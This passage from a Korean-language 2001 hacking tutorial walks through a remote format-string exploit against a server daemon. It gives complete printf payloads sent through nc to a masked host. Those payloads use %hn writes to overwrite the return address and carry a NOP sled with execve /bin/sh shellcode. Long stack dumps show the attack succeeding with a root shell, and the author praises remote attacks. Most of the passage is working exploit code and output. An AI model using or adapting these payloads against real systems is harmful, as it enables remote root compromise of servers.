프로그래밍을많이해본사람이라면기본적으로알고있을거라생각한다. 위의결과 "AAAA4141414178257825782578254001000a" 를보니 Stack에 push 되는주소값과출력되는주소값의오차가존재하지않는다. 이는공격하기매우편리한환경이라할수있다. 만약오차가존재한다면, %x 출력당 4byte(0x 41 41 41 41) 씩을채워나감으로써, 오차를줄이고정확한위치를잡을수있는것이다. 그렇다면위결과를가지고모의실험을가져보도록하자. 우리가만약조그만값을특정주소에덮어씌울수있다면, 이를응용해실전공격을쉽게성공시킬수있을것이다. 특정주소는 code에넣어지는 format string 앞부분에넣게된다. 그주소는 %n 디렉티브를이용해 Stack에 push 될것이다. %n 디렉티브의앞부분에는우리가 jump 해야할주소 (16진수 buffer 주소값 ) 를 10진수로변환하여포맷문자열로넣으면된다. ( 기본적으로 "%1000d" 이런식의변환문자이라생각하면된다. REMOTE Buffer Overflow 페이지 15
앞에들어간 1000 이란값은 16 진수를변경한 10 진수의값이다.) 위의내용을참조하여간단한 exploit 를시도해본다. 0x0400000b. exploit 앞에서설명한 jump 해야할주소를 10 진수형태로변경하여쓰는것은간단한계산을통해 구할수있다. 만약 0xbfffef34 라는값을 10 진수로고쳤을때다음과같이계산할수있다. 0x b : 16 x 16 x 16 x 16 x 16 x 16 x 16 x b(11) f : 16 x 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x 16 x f(15) f : 16 x 16 x 16 x 16 x f(15) e : 16 x 16 x 16 x e(14) f : 16 x 16 x f(15) 3 : 16 x 3 4 : + 4 하지만, 위와같이구한 10 진수의값은감당하지못할정도로크고계산도쉽지않다. 그러므로 2 번에걸쳐계산을한다. (bfff/ef34) 계산도쉽고정확한값을만들수있기 때문에대부분의 format string 공격시에는이방법을채택한다. 1 + bfff : 114687 ef34 : 61236 1bfff - ef34 : 53451 bfff : 53451 이런식으로 2 번에걸쳐계산하여 53451(bfff) 와 61236(ef34) 라는값을얻어낼수있었다. 이렇게구한 10 진수값은어떻게넣을까? 방법은간단하다. 두번에걸쳐쓰는방식이므로 다음과같이나타낼수있다. "%61236d %hn %53451d %hn" (ef34)(push)(bfff)(push) %n 은 4byte 를차지하지만, %hn 은 2byte 를차지한다. 그러므로두번에나눠값을 Overwrite 시킬수있는것이다. 솔직히필자의경험상 %hn 디렉티브대신 %n 디렉티브를 넣어도상관은없었다. 이제, 값을원하는주소에덮어씌워보자. 모의공격으로다음과같은형식을정하였다. REMOTE Buffer Overflow 페이지 16
덮어쓰기원하는주소 : 0xbffff894 덮어씌워지는주소의값 : 0xbfffef34 그럼, 공격! [x82@testsub x82]$ (printf "\x82\x82\x82\x82\x94\xf8\xff\xbf\x82\x82\x82\x82 \x96\xf8\xff\xbf%%61220d%%hn%%53451d%%hn";cat) nc xxx.xx.xx.xx 60177... sleep...... sleep...... sleep... -2105376126 0xbffff7d4 82 82 82 82 94 f8 ff bf 82 82 82 82 96 f8 ff bf... 0xbffff7e4 25 36 31 32 32 30 64 25 68 6e 25 35 33 34 35 31 %61220d%hn%53451 0xbffff7f4 64 25 68 6e 0a 00 01 40 bc 21 01 40 94 21 01 40 d%hn...@.!.@.!.@ 0xbffff804 9c 21 01 40 a4 21 01 40 00 00 00 00 00 00 00 00.!.@.!.@... 0xbffff814 00 00 00 00 ac 21 01 40 b4 21 01 40 00 00 00 00...!.@.!.@... 0xbffff824 00 00 00 00 8c 21 01 40 d8 a4 02 40 00 f9 ff bf...!.@...@... 0xbffff834 86 79 00 40 ac a4 02 40 ac a4 02 40 24 20 01 40.y.@...@...@$.@ 0xbffff844 a8 2b 01 40 0d 43 00 00 24 20 01 40 a8 2b 01 40.+.@.C..$.@.+.@ 0xbffff854 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffff864 00 00 00 00 00 00 00 00 b0 3a 00 00 00 00 00 00...:... 0xbffff874 00 00 00 00 00 00 00 00 00 00 00 00 24 f7 01 40...$..@ 0xbffff884 ab 03 00 00 64 2a 02 40 74 bc 01 40 a8 2b 01 40...d*.@t..@.+.@ 0xbffff894 34 ef ff bf 68 f9 ff bf 86 79 00 40 ac a4 02 40 4...h...y.@...@ ~~~~~~~~~~~ (0xbfffef34) 0xbffff8a4 88 82 04 08 24 20 01 40 b0 26 01 40 6e 00 00 00...$.@.&.@n... 0xbffff8b4 ac a4 02 40 24 20 01 40 a8 2b 01 40 5b 41 00 00...@$.@.+.@[A.. 0xbffff8c4 a8 2b 01 40 a5 59 00 00 86 79 00 40 ac a4 02 40.+.@.Y...y.@...@ 0xbffff8d4 98 2a 02 40 24 20 01 40 b0 26 01 40 14 82 04 08.*.@$.@.&.@... 0xbffff8e4 f0 38 00 00 f4 26 02 40 a8 06 00 00 64 2a 02 40.8...&.@...d*.@ 0xbffff8f4 74 bc 01 40 a8 2b 01 40 03 00 00 00 18 2e 01 40 t..@.+.@...@ 0xbffff904 01 00 00 00 20 f9 ff bf f4 81 04 08 b4 28 01 40......(.@ 0xbffff914 0f 53 8e 07 9c f9 ff bf 72 82 04 08 f4 26 02 40.S...r...&.@ 0xbffff924 a8 2b 01 40 ac f9 ff bf bf 6b 02 40 64 f5 01 40.+.@...k.@d..@ 0xbffff934 a8 2b 01 40 f4 0c 02 40 a8 2b 01 40 b4 28 01 40.+.@...@.+.@.(.@ 0xbffff944 8e ff 77 01 cc f9 ff bf 60 82 04 08 f4 1f 02 40..w...`...@ 0xbffff954 a8 2b 01 40 77 ff ff bf bf f9 ff bf 20 00 00 00.+.@w...... 0xbffff964 ec 7b 10 40 a0 f9 ff bf 9d 9f 00 40 c7 03 01 40.{.@...@...@ 0xbffff974 48 2e 01 40 07 00 00 00 ee 9e 00 40 1c 97 04 08 H..@...@... 0xbffff984 00 a6 00 40 14 fa ff bf b0 26 01 40 f4 81 04 08...@...&.@... REMOTE Buffer Overflow 페이지 17
0xbffff994 28 97 04 08 72 82 04 08 f4 26 02 40 c8 f9 ff bf (...r...&.@... 0xbffff9a4 10 a1 00 40 4b 80 0f 40 1c 97 04 08 00 a6 00 40...@K..@...@ 0xbffff9b4 14 fa ff bf c8 f9 ff bf 4b 84 04 08 08 97 04 08...K... 0xbffff9c4 1c 97 04 08 e8 f9 ff bf fb 11 03 40 01 00 00 00...@... 0xbffff9d4 14 fa ff bf 1c fa ff bf... [x82@testsub x82]$ Success! 모의공격을성공하였다. 위에서쓰인 format string 을분석해보겠다. "\x82\x82\x82\x82\x94\xf8\xff\xbf" /* 8byte */ 0xbffff894 주소에 "ef34" 값을 Overwrite 한다. Stack 에쌓일때는 "34 ef" 값으로 push 된다. "\x82\x82\x82\x82\x96\xf8\xff\xbf" /* 8byte */ 0xbffff896 주소에 "bfff" 값을 Overwrite 한다. Stack 에쌓일때는 "ff bf" 값으로 push 된다. "%%61220d%%hn%%53451d%%hn" 이미위에서계산한 "%%61236d%%hn%%53451d%%hn" 값과무엇이다른가? 그렇다. "%%61236d" 값에서 "%%61220d" 값으로변경된것을볼수있을것이다. 이는 위에서사용된특정주소값, 16byte(8byte+8byte) 를 minus 한결과이다. 이렇게, 특정주소를우리가원하는값으로쉽게변경할수있었다. 그렇다면, server daemon program 의 return address 를 shellcode 의주소값으로 변경하면어떻게될것인가? 분명 daemon 권한의 shell 을실행할수있을것이다. :-D 위의모의공격과비교해보면다음과같이설명될수있다. 덮어쓰기원하는주소 : 0xbffff894 ---> 즉, Return address. 덮어씌워지는주소의값 : 0xbfffef34 ---> 당연히 shellcode 가띄워져있는 address. 그러므로위에서작업했던모의공격방식을매우유사하게적용할수있다. 참고로, Return address 를구하는것은 dump 된 stack 에서금방찾을수있다. 프로그램이 500byte까지 data input을받는다면, 504byte는 ebp 영역일것이고, 508byte부터 ret영역일것이분명하다. 0xbffff7d4 부터 data buffer 영역이시작되므로, 끝나는영역은 0xbffff9c4, ebp영역 (4byte) 은 0xbffff9c8 ~ 0xbffff9cb 까지, ret영역 (4byte) 은 0xbffff9cc ~ 0xbffff9cf 까지란것을알수있다. 덮어쓰기원하는주소 (Return address): 0xbffff9cc REMOTE Buffer Overflow 페이지 18
덮어씌워지는주소의값 (&shellcode address): 0xbffff804 &shellcode 의 address 는공격자가띄울 stack 의주소만알면쉽게알수있다. 이작업은 sp 의값을알아내어 address 를맞출수있으며모의공격시공격당하는 daemon 내부프로그램에넣는다. ;-D 예 : unsigned long sp(void) { asm ("movl %esp,%eax"); } 이러한연산을통해 &shellcode 가띄워질위치를알아내었다고가정한다. ( 위의 code 는 eggshellcode 를더연구해보면알수있을것이다.) 10 진수계산후 "%%63492d%%hn%%51195d%%hn" code 를얻을수있었다. 다음과같이최종적으로 exploit 되었다. "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82\xce\xf9\xff\xbf%%63476d%%hn%%51195d%% hn" 이렇게만들어진 format string code 에마지막으로추가할것이있다. 바로, 우리가실행을필요로하는 shellcode 이다. shellcode 를넣어다음과같이, exploit 을완성하였다. 이제실전공격을시도해보도록하겠다. 0x0400000c. 결과및 stack 값 debugging 공격개시! :-p [x82@testsub x82]$ (printf "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82 \xce\xf9\xff\xbf%%63476d%%hn%%51195d%%hn\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1 \x8d\x42\x0b\xcd\x80\x0a";cat) nc xxx.xx.xx.xx 60177... sleep... REMOTE Buffer Overflow 페이지 19
... sleep...... sleep... -2105376126릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱B? 릱릱릱릱릱릱릱릱릱릱? 0xbffff7d4 82 82 82 82 cc f9 ff bf 82 82 82 82 ce f9 ff bf... 0xbffff7e4 25 36 33 34 37 36 64 25 68 6e 25 35 31 31 39 35 %63476d%hn%51195 0xbffff7f4 64 25 68 6e 90 90 90 90 90 90 90 90 90 90 90 90 d%hn... 0xbffff804 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff814 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff824 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff834 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff844 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff854 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff864 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff874 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90... 0xbffff884 90 90 90 90 90 90 90 90 90 90 90 31 d2 52 68 6e...1.Rhn 0xbffff894 2f 73 68 68 2f 2f 62 69 89 e3 52 53 89 e1 8d 42 /shh//bi..rs...b 0xbffff8a4 0b cd 80 0a 00 20 01 40 b0 26 01 40 6e 00 00 00....@.&.@n... 0xbffff8b4 ac a4 02 40 24 20 01 40 a8 2b 01 40 5b 41 00 00...@$.@.+.@[A.. 0xbffff8c4 a8 2b 01 40 a5 59 00 00 86 79 00 40 ac a4 02 40.+.@.Y...y.@...@ 0xbffff8d4 98 2a 02 40 24 20 01 40 b0 26 01 40 14 82 04 08.*.@$.@.&.@... 0xbffff8e4 f0 38 00 00 f4 26 02 40 a8 06 00 00 64 2a 02 40.8...&.@...d*.@ 0xbffff8f4 74 bc 01 40 a8 2b 01 40 03 00 00 00 18 2e 01 40 t..@.+.@...@ 0xbffff904 01 00 00 00 20 f9 ff bf f4 81 04 08 b4 28 01 40......(.@ 0xbffff914 0f 53 8e 07 9c f9 ff bf 72 82 04 08 f4 26 02 40.S...r...&.@ 0xbffff924 a8 2b 01 40 ac f9 ff bf bf 6b 02 40 64 f5 01 40.+.@...k.@d..@ 0xbffff934 a8 2b 01 40 f4 0c 02 40 a8 2b 01 40 b4 28 01 40.+.@...@.+.@.(.@ 0xbffff944 8e ff 77 01 cc f9 ff bf 60 82 04 08 f4 1f 02 id uid=0(root) gid=0(root) groups=0(root) exit Success~! 멋지게성공했다. :-D 어떻게이러한멋진결과가나오게되었는지 gdb Debugging 을통해살펴보도록하자. nc 를이용한 code debug 공격자입력부분 : > 00000000 82 82 82 82 cc f9 ff bf 82 82 82 82 ce f9 ff bf #... REMOTE Buffer Overflow 페이지 20
// "\x82\x82\x82\x82\xcc\xf9\xff\xbf\x82\x82\x82\x82\xce\xf9\xff\xbf" > 00000010 25 36 33 34 37 36 64 25 68 6e 25 35 31 31 39 35 # %63476d%hn%51195 > 00000020 64 25 68 6e 90 90 90 90 90 90 90 90 90 90 90 90 # d%hn... // "%63476d%hn%51195d%hn" > 00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 00000090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 000000a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... > 000000b0 90 90 90 90 90 90 90 90 90 90 90 // NOP 입력끝 31 d2 52 68 6e #...1.Rhn > 000000c0 2f 73 68 68 2f 2f 62 69 89 e3 52 53 89 e1 8d 42 # /shh//bi..rs...b > 000000d0 0b cd 80 // shellcode 입력끝 0a #... // '\0' 입력문자열의끝을알리는 Enter Daemon 프로그램의출력부분 : < 00000000 82 82 82 82 cc f9 ff bf 82 82 82 82 ce f9 ff bf #... < 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 00000020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 00000030 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 #... 중략... < 0000f7d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0000f7e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0000f7f0 20 20 20 20 20 20 20 20 20 2d 32 31 30 35 33 37 # -210537 < 0000f800 36 31 32 36 20 20 20 20 20 20 20 20 20 20 20 20 # 6126 < 0000f810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0000f820 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 #... 중략... REMOTE Buffer Overflow 페이지 21
< 0001bfa0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0001bfb0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0001bfc0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0001bfd0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0001bfe0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 # < 0001bff0 20 20 20 20 2d 32 31 30 35 33 37 36 31 32 36 90 # -2105376126. < 0001c000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 #... < 0001c090 90 90 90 90 90 90 31 d2 52 68 6e 2f 73 68 68 2f #...1.Rhn/shh/ < 0001c0a0 2f 62 69 89 e3 52 53 89 e1 8d 42 0b cd 80 0a 00 # /bi..rs...b...0 위에서출력되는 "-2105376126" 라는값은우리가두번에나누어 Overwrite 한값의출력된모습이다. 2번에걸쳐쓰기로했으므로, 전부두번출력되었다. "\x20" 은공백문자열로써, 우리가계산하여 push한위치까지 jump 하는모습을그대로보여주고있다. 그뒤는 NOP 와 shellcode가고스란히놓여지고, 마지막 "x0a" 으로문자열입력의끝을알리면서정확한계산공격이성공하게된것이다. 0x05. 결론 이로써 Remote Overflow & Format String 공격을모두성공해보았다. code를 dump 해보지못하는실제환경에서연습해보려면위의작업보다훨씬더복잡한작업을거쳐야한다. 위의작업은실제환경에서발생할변수를제외한예제에불가하기때문이다. 공격자는각기다른여러환경의공격을시도해볼필요가있다. 만약여러분이공격에대한충분한지식과 KnowHow 가성립되면, 나중에는이보다 더난이도높은갚진기술을구사할수있을것이다. :-) 갑자기어느분의말씀이떠오른다. " 원격지에서어떤시스템의취약점을이용하여쉘을띄운다는것은참멋진일인것같습니다." 그렇다. 필자의생각에도원격 remote 상에서이루어지는공격을보면, 참아름다움을느낀다. REMOTE Buffer Overflow 페이지 22
현재이문서를작성중에도여러 remote attack 을구사하고, 연구하는이들을위해... 격려의메세지를전하고싶다. :-) P.S: 내용이중간중간어지러운부분이보입니다. 글도깨끗하지못하고 --; 요새워낙이런저런일에시달리다보니... 문서작성에소홀함을느낄때가많습니다. ( 참고로, 이것은필자의핑계임다 --;;) 하루빨리게으른생활을청산하고본연의모습으로돌아가야겠습니다. 그동안곁에서힘을주고연락하던친구들에게감사의마음을전합니다. ^^ 뿐만아니라, 질문사항이나기타좋은내용을메일을통해보내주신여러분들께도진심으로감사드립니다. 그럼, 이만... :-D by Xpl017Elz. 2001/11/09. REMOTE Buffer Overflow 페이지 23